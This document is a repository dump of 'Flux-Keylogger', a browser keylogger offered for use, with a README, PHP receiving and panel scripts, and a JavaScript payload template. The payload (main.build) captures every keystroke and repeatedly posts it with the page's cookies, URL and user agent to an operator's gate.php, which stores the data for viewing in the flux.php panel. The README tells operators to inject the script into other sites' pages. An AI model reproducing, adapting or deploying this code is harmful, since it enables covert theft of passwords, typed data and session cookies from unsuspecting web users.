├── .gitattributes ├── logo.png ├── README.md └── server ├── build.php ├── gate.php ├── builds └── main.build └── flux.php /.gitattributes: -------------------------------------------------------------------------------- 1 | * linguist-language=JAVASCRIPT 2 | -------------------------------------------------------------------------------- /logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/therealelyayo/Flux-Keylogger/HEAD/logo.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Flux-Keylogger 2 | > Simple javascript keylogger with web panel 3 | 4 |

5 | 6 |

7 | 8 | 9 | ___ 10 | 11 | ## Logs: 12 | * Keylogger 13 | * Cookies 14 | * Location 15 | * Remote IP 16 | * User-Agents 17 | 18 | ## Installation server files: 19 | * upload files from `server` directory to you server 20 | * go to http://you.host/flux.php 21 | * click build 22 | * Now inject script tag to other documents 23 | -------------------------------------------------------------------------------- /server/build.php: -------------------------------------------------------------------------------- 1 | > ."); 16 | } 17 | // If name is main.build 18 | if ($buildName == 'main.build') { 19 | die("Permission denied!"); 20 | } 21 | // Write 22 | if (file_put_contents("builds/$buildName.js", $file)) { 23 | die("Build created!"); 24 | } else { 25 | die("Failed to create build"); 26 | } 27 | } 28 | 29 | ?> -------------------------------------------------------------------------------- /server/gate.php: -------------------------------------------------------------------------------- 1 | $remoteIP, 27 | "location" => $location, 28 | "uagents" => $uagents, 29 | "cookies" => $cookies, 30 | "name" => $name, 31 | "host" => $host, 32 | "date" => $curDate, 33 | "time" => $curTime, 34 | "keyLogs" => str_replace("\n", "\\n", $keyLogs) 35 | ]; 36 | $data = json_encode($data, JSON_PRETTY_PRINT); 37 | // Save data 38 | $file = fopen($logfile, "w"); 39 | fwrite($file, $data); 40 | fclose($file); 41 | die("Data saved!"); 42 | } 43 | // Delete file 44 | elseif (isset($_POST["cleanLogs"])) { 45 | $file = $_POST["logfile"]; 46 | // Check 47 | if (strpos($file, '..') !== false) { 48 | die("Permission denied >> ../"); 49 | } 50 | // Remove 51 | if (unlink($file)) { 52 | die("Logs removed!"); 53 | } else { 54 | die("Logs not removed!"); 55 | } 56 | 57 | } 58 | 59 | 60 | ?> -------------------------------------------------------------------------------- /server/builds/main.build: -------------------------------------------------------------------------------- 1 | // https://github.com/LimerBoy/Flux-Keylogger/ 2 | 3 | // Settings 4 | var fluxGate = "{buildGate}"; 5 | var fluxName = "{buildName}" 6 | var sendTimeout = 500; 7 | 8 | 9 | // KEYLOGGER 10 | var keys = ""; 11 | document.addEventListener("keypress", function(e) { 12 | keyCode = e.keyCode; 13 | keyName = e.key; 14 | // console.log(keyName); 15 | // alert("Name: " + keyName + " code: " + keyCode); 16 | // Check key 17 | switch(keyCode) { 18 | // ENTER 19 | case 13: 20 | keyName = "\n"; 21 | break; 22 | // BACKSPACE 23 | case 8: 24 | keyName = ""; 25 | keys = keys.slice(0, -1); 26 | break; 27 | // NORMAL KEY 28 | default: 29 | // If is special key add < KEY > 30 | if (keyName.length > 1) { 31 | keyName = " <" + keyName + "> "; 32 | } 33 | break; 34 | } 35 | // Add 36 | keys += keyName; 37 | }); 38 | 39 | // Save keylogs, useragents, ip, location, host, cookies. 40 | date = new Date; 41 | var old = 0; 42 | function saveAll() { 43 | 44 | // Check for new data 45 | if (old == keys.length) { 46 | // not send 47 | return ""; 48 | } else { 49 | // send 50 | old = keys.length; 51 | } 52 | 53 | var time = date.getHours() + ":" + date.getMinutes() + ":" + date.getSeconds(); 54 | var uagents = window.navigator.userAgent; 55 | var host = window.location.hostname; 56 | var location = document.location; 57 | var cookies = document.cookie; 58 | 59 | var http = new XMLHttpRequest(); 60 | var params = "keyLogs=" + keys + "&cookies=" + cookies + "&name=" + fluxName + "&uagents=" + uagents + "&location=" + location + "&host=" + host + "&time=" + time + "&sendLogs"; 61 | http.open("POST", fluxGate, true); 62 | 63 | http.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); 64 | http.send(params); 65 | 66 | } 67 | 68 | // Create loop 69 | setInterval(function() { 70 | saveAll(); 71 | }, sendTimeout); 72 | -------------------------------------------------------------------------------- /server/flux.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | FluxKeylogger - Control 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 29 | 30 | 48 | 49 | 133 | 134 | 135 | 136 | 163 | 164 | 165 | 166 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 198 | 199 | 200 | 201 | 202 | 203 | 204 | 225 | 226 | 227 | 228 | 233 | "; 234 | } 235 | } 236 | } 237 | 238 | ?> 239 | 240 | 241 |
router Host gps_fixed Remote IP date_range Date settings Settings
$host$remote_ip$date 229 | credit_card 230 | keyboard 231 | delete_forever 232 |
242 | 243 | 244 | --------------------------------------------------------------------------------